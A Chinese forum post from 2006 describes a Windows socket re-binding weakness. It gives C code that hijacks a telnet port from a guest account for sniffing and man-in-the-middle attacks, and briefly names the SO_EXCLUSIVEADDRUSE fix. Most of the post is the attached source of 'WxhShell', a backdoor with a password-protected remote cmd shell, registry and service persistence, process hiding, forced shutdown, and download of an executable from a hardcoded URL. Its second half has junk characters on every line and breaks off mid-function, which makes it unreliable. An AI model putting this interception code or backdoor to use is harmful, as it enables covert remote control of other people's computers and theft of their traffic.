[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; I;Mm+5A
if(chr[0]==0xd || chr[0]==0xa) { 3!8(A/YP;
pwd=0; 4Q0ZY(2 EO
break; N&
} 7;|"1H:cmw
i++; keC'/\e
} YzjRD:
c#TY3Z|
// 如果是非法用户，关闭 socket 0U~$u
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4GP?t4][
} |dQz(z&6{5
!-tw
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _{c_z*rM8
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?fH1?Z\'K
%SB4_ r*<
while(1) { /pjl6dJ t
"LTw;& y
ZeroMemory(cmd,KEY_BUFF); A:ts_*
=s!0EwDH3
// 自动支持客户端 telnet标准 Mv%Qze,\V^
j=0; zc8^#D2y&
while(j<KEY_BUFF) { vYm-$KQ"o
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fD@d.8nXd
cmd[j]=chr[0]; Xr=BxBttp
if(chr[0]==0xa || chr[0]==0xd) { N `:MF 9
cmd[j]=0; Yw#fQFm
break; 9vP;i= fr
} +r'&6Me!
j++; kf>3T@
} Hk;;+'-
ewd eC
// 下载文件 mH\zSk
if(strstr(cmd,"http://")) { i#>t<g`l
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^85Eveu
if(DownloadFile(cmd,wsh)) {Z k^J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7YD+zd:
else FWJ**J
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4_5f4%S
} HSysME1X:/
else { tkZUjQIX
s8&q8r7%
switch(cmd[0]) { <[\I`kzq
+# 'w} P
// 帮助 d)1gpRp
case '?': { AE>W$x8P
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Bk\Y v0
break; o3`U;@&u
} p#jAEY p
// 安装 iS,l
case 'i': { 0F-{YQr>
if(Install()) =s":Mx,o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rlR!Tc>
else Fc@R,9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OY}FtGy
break; C0[U}Y/r2
} s1Acl\l-uF
// 卸载 HhQ0>
case 'r': { j~>{P=_}
if(Uninstall()) ^Zz^h@+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lS,Jo/T@
else 2c]"*Pb
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ez~5ax7x
break; "7y,d%H
} *JDz0M4f
// 显示 wxhshell 所在路径 7qyPI
case 'p': { z*h:Nt%.
char svExeFile[MAX_PATH]; 2j8GJU/L
strcpy(svExeFile,"\n\r"); iH4LZ
strcat(svExeFile,ExeFile); iV/I909*''
send(wsh,svExeFile,strlen(svExeFile),0); rs?Dn6:;B
break; =gI41Y]
} OJpfiZ@Q_
// 重启 [TOo9W
case 'b': { chL1r9V)v
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pp"#pl
if(Boot(REBOOT)) s4_Dqm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >fWGiFmlk
else { 3!l>\#q6
closesocket(wsh); 9{OO'at?
ExitThread(0); 6Yn>9llo}=
} (*$F7oO<
break; 2pdeJ
} rb-ao\
// 关机 Ur#jJR@%3
case 'd': { x4_MbUe
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <b H*f w
if(Boot(SHUTDOWN)) E#+2)Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3h:~NL
else { L0"|4=
closesocket(wsh); N_K9H1r
ExitThread(0); (0.oE%B",1
} Rb:H3zh
break; : B&~q$
} Axsezr/
// 获取shell D/Ki^E
case 's': { ?@4Mt2Z\
CmdShell(wsh); pF8$83S
closesocket(wsh); Y:;_R=M
ExitThread(0); zN!W_2W*
break; V8 8u-
} tV(iC~/
// 退出 B1_9l3RM
case 'x': { @/kI;8
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \JM6zR^Ef
CloseIt(wsh); \)/qCeiZ
break; AVQcD`V3B
} <&b,%O
// 离开 ;SU<T^a
case 'q': { ?h4[yp=w
send(wsh,msg_ws_end,strlen(msg_ws_end),0); %cn1d>M+I
closesocket(wsh); 8<;.
WSACleanup(); :ir#7/
exit(1); 6Sd:5eTEQ
break; :G 5p`;hGo
} ^5]9B<i[Y
} ;>Z+b#C[
} Xw9]WJc
Z0Sqw
// 提示信息 ~$6` e:n
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :;Z/$M16B
} sC\?{B0r
} ]\fHc"/
D Z*c.|W
return; mh"PAp
} xBxiBhqzF
xMk>r1Ud
// shell模块句柄 D,.`mX
int CmdShell(SOCKET sock) (.N n|lY<i
{ uB"B{:Kz
STARTUPINFO si; t8RtJ2;
ZeroMemory(&si,sizeof(si)); ^ulgZ2BQ|
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MMrN#&r
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GjwH C{
PROCESS_INFORMATION ProcessInfo; Ec<33i]h*p
char cmdline[]="cmd"; /F.<Gz;w
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :7X4VHw/
return 0; l7T?Yx j
} CP9Q|'oJ
'~ B2[
// 自身启动模式 p,z>:3M
int StartFromService(void) R(0[bMr3Q
{ 9 D.wW
typedef struct L=;T$4+p
{ _}47U7s8
DWORD ExitStatus; 92Gfxld\
DWORD PebBaseAddress; >.UEs8QV
DWORD AffinityMask; pvsY 0a@4
DWORD BasePriority; z4D)Xy"/
ULONG UniqueProcessId; j{FRD8]V
ULONG InheritedFromUniqueProcessId; Fp?M@
} PROCESS_BASIC_INFORMATION; =g6~2p=H
U4dfO=
PROCNTQSIP NtQueryInformationProcess; ?i0u)<H
xr.;B`T0\'
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8)iI=,T*
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ? Lxc1
s w>B
HANDLE hProcess; vt"bB
PROCESS_BASIC_INFORMATION pbi; rgXX,+cO
v" #8^q
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !ckluj
if(NULL == hInst ) return 0; )/!HI0TU
`yl|NL
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Jon3ywd1Y
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jp_)NC/~g
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |4BD
g}6M+QNj
if (!NtQueryInformationProcess) return 0; ci?\W6
(i{ZxWW&
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WUYU\J&q3
if(!hProcess) return 0; rUV'DC?eE
Qg1kF^=
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dw}ge,bBic
D)4#AI
CloseHandle(hProcess); n|.eL8lX.<
}|/<!l+;$
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e GAto
if(hProcess==NULL) return 0; 3`3my=
|jH Yf42Q
HMODULE hMod; F{ 4k2Izr
char procName[255]; `\z )EoI
unsigned long cbNeeded; ~|~2B$JeV
V@z/%=PJ
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9. FXbNYg
Mf5*Wjz.Mc
CloseHandle(hProcess); 4Af7x6a;
2sqH >fen
if(strstr(procName,"services")) return 1; // 以服务启动 (G{:O
ou)0tX3j
return 0; // 注册表启动 "kc%d'c(
} 0"\js:-$
yHf^6|$8
// 主模块 {J)gS
int StartWxhshell(LPSTR lpCmdLine) asvM/9
{ 3# 0Nd"/0
SOCKET wsl; P_Gu~B!Y
BOOL val=TRUE; /&=y_%VR
int port=0; {O=_c|u{N
struct sockaddr_in door; Y^#>3T
>;M STHeW
if(wscfg.ws_autoins) Install(); bjwl21;{
]~3a~
port=atoi(lpCmdLine); ;&w_.j*Is
n[a%*i6x
if(port<=0) port=wscfg.ws_port; hE,-CIRg
nYC S %\"
WSADATA data; ?:vB_@
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r<dvo%I#|
~}D"8[ABj
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ?*q-u9s9
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rV%;d[LB
door.sin_family = AF_INET; ki`ur%h
door.sin_addr.s_addr = inet_addr("127.0.0.1"); !8 l&%
door.sin_port = htons(port); r;waT@&C
{A MAQ
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ql}#mC.>/
closesocket(wsl); sx[mbKj<
return 1; ZI :wJU:f
} D_z&G)
|ns9ziTDI
if(listen(wsl,2) == INVALID_SOCKET) { Lnh'y`q
closesocket(wsl); SrWmV@"y
return 1; HZ{DlH;&
} 5C-n"8&C&
Wxhshell(wsl); ?ZKIs9E[m
WSACleanup(); }&Xf<6
o(i?_4E
return 0; J rYL8 1
cKwmtmwB
} nl-tJ.MU"
!r*JGv=
// 以NT服务方式启动 w*Ze5j4@ \
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2+YM .Zl
{ gyMy;}a
DWORD status = 0; Hg(nC*#/Q
DWORD specificError = 0xfffffff; Io7=Mc4
`GooSX
serviceStatus.dwServiceType = SERVICE_WIN32; h&Q-QU
serviceStatus.dwCurrentState = SERVICE_START_PENDING; G>2: WQ/
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'Hq#9?<2M
serviceStatus.dwWin32ExitCode = 0; tF!C']
serviceStatus.dwServiceSpecificExitCode = 0; Oh=Kl3xs
serviceStatus.dwCheckPoint = 0; c<)O#i@3/
serviceStatus.dwWaitHint = 0; K;g6V!U
b:*( f#"q
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "? 5@j/ e`
if (hServiceStatusHandle==0) return; -A"0mS8L
g3'yqIjQL
status = GetLastError(); >ufN[ab
if (status!=NO_ERROR) 4Z{ r
{ N?s5h?
serviceStatus.dwCurrentState = SERVICE_STOPPED; 2ZMVYa2%(
serviceStatus.dwCheckPoint = 0; LgSVEQb6\|
serviceStatus.dwWaitHint = 0; <qxqlEQT
serviceStatus.dwWin32ExitCode = status; s(Fxi|v;
serviceStatus.dwServiceSpecificExitCode = specificError; S#ud<=@!9
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2cJ3b 0Xx
return; N!af1zj
} iS8yJRy
u,S}4p&l
serviceStatus.dwCurrentState = SERVICE_RUNNING; G:PcV_ihx
serviceStatus.dwCheckPoint = 0; MOP#to)k&
serviceStatus.dwWaitHint = 0; R8u9tTW
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +,0 :L :a
} IqjH
B}ASZYpW>
// 处理NT服务事件，比如：启动、停止 hL/
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4d @ (>
{ upF^k%<y:
switch(fdwControl) Dj{t[z]$k
{ A|0\ct
case SERVICE_CONTROL_STOP: b0Fr]oGp
serviceStatus.dwWin32ExitCode = 0; nTXM/
serviceStatus.dwCurrentState = SERVICE_STOPPED; F='rGQK!1
serviceStatus.dwCheckPoint = 0; }mQh^
serviceStatus.dwWaitHint = 0; *| YR8f
{ 'y:+w{I2o
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~VO?PfxZ
} :eTzjW=
return; pH!8vnoA
case SERVICE_CONTROL_PAUSE: 7`t[|o
serviceStatus.dwCurrentState = SERVICE_PAUSED; O(44Dy@2
break; JclG*/Wjg4
case SERVICE_CONTROL_CONTINUE: zlN<yZB^
serviceStatus.dwCurrentState = SERVICE_RUNNING; 9y&&6r<I
break; 7{DSLKtN
case SERVICE_CONTROL_INTERROGATE: (Z};(Hn
break; %y2i1^
}; { BDUl3T
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 92Df.xI}
} pr"~W8
8G p%Q
// 标准应用程序主函数 dI9u:-
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dpcFS0
{ 0RGSv!w
f{u3RCfX~2
// 获取操作系统版本 &H@OLyC
OsIsNt=GetOsVer(); d"4J)+q
GetModuleFileName(NULL,ExeFile,MAX_PATH); tcS7 @^'
x[H9<&)D
// 从命令行安装 %'i`Chc^!;
if(strpbrk(lpCmdLine,"iI")) Install(); /N(Ol WEp
.UJjB}4$f
// 下载执行文件 Wfyap)y
if(wscfg.ws_downexe) { M8' GbF=1
